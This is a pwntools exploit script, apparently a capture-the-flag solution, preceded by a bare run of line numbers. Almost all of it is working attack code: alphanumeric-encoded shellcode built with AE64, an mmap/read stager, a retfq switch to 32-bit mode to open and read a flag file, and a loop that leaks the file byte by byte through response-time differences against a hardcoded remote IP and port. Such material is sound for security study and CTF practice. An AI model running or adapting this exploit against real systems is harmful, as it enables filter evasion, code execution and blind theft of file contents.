1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208
| from pwn import * from ae64 import AE64
file = context.binary = './shellcode' obj = AE64()
append_x86 = ''' push ebx pop ebx ''' shellcode_x86 = ''' /*fp = open("flag")*/ mov esp,0x40404140 push 0x67616c66 push esp pop ebx xor ecx,ecx mov eax,5 int 0x80 mov ecx,eax /* read(fp,buf,0x70) */ /*mov eax,3*/ /*push 0x70*/ /*push ebx*/ /*push 3*/ /*int 0x80*/ ''' shellcode_flag = ''' push 0x33 push 0x40404089 retfq /*read(fp,buf,0x70)*/ mov rdi,rcx mov rsi,rsp mov rdx,0x70 xor rax,rax syscall
''' shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32') shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux') shellcode = '' append = ''' push rdx pop rdx '''
shellcode_mmap = ''' /*mmap(0x40404040,0x7e,7,34,0,0)*/ push 0x40404040 /*set rdi*/ pop rdi
push 0x7e /*set rsi*/ pop rsi
push 0x40 /*set rdx*/ pop rax xor al,0x47 push rax pop rdx
push 0x40 /*set r8*/ pop rax xor al,0x40 push rax pop r8
push rax /*set r9*/ pop r9
/*syscall*/ push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x31],cl push 0x5f pop rcx xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/ /*pop rcx*/ pop r10
push 0x40/*set rax*/ pop rax xor al,0x49 syscall ''' shellcode_read = ''' /*read(0,0x40404040,0x70)*/ push 0x40404040 pop rsi push 0x40 pop rax xor al,0x40 push rax pop rdi xor al,0x40 push 0x70 pop rdx push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x57],cl push 0x5f pop rcx xor byte ptr[rax+0x58],cl push rdx pop rax xor al,0x70 syscall '''
shellcode_retfq = ''' push rbx pop rax
xor al,0x40
push 0x72 pop rcx xor byte ptr[rax+0x40],cl push 0x68 pop rcx xor byte ptr[rax+0x40],cl push 0x47 pop rcx sub byte ptr[rax+0x41],cl push 0x48 pop rcx sub byte ptr[rax+0x41],cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax retfq '''
shellcode = '' shellcode += shellcode_mmap shellcode += append shellcode += shellcode_read shellcode += append
shellcode += shellcode_retfq shellcode += append
sc = obj.encode(asm(shellcode),'rbx')
def pwn(p, index, ch): p.send(sc)
shellcode='' if index == 0: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch) else: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch) p.sendline(shellcode_x86 + 0x29*'\x90'+ shellcode_flag + asm(shellcode)) index = 0 a = []
while True: for ch in range(20, 127): p = remote('39.105.137.118','50050') pwn(p, index, ch) start = time.time() try: p.recv(timeout=2) except: pass end = time.time() p.close() if end-start > 1.5: a.append(ch) print("".join([chr(i) for i in a])) break else: print("".join([chr(i) for i in a])) break index = index + 1
print("".join([chr(i) for i in a]))
|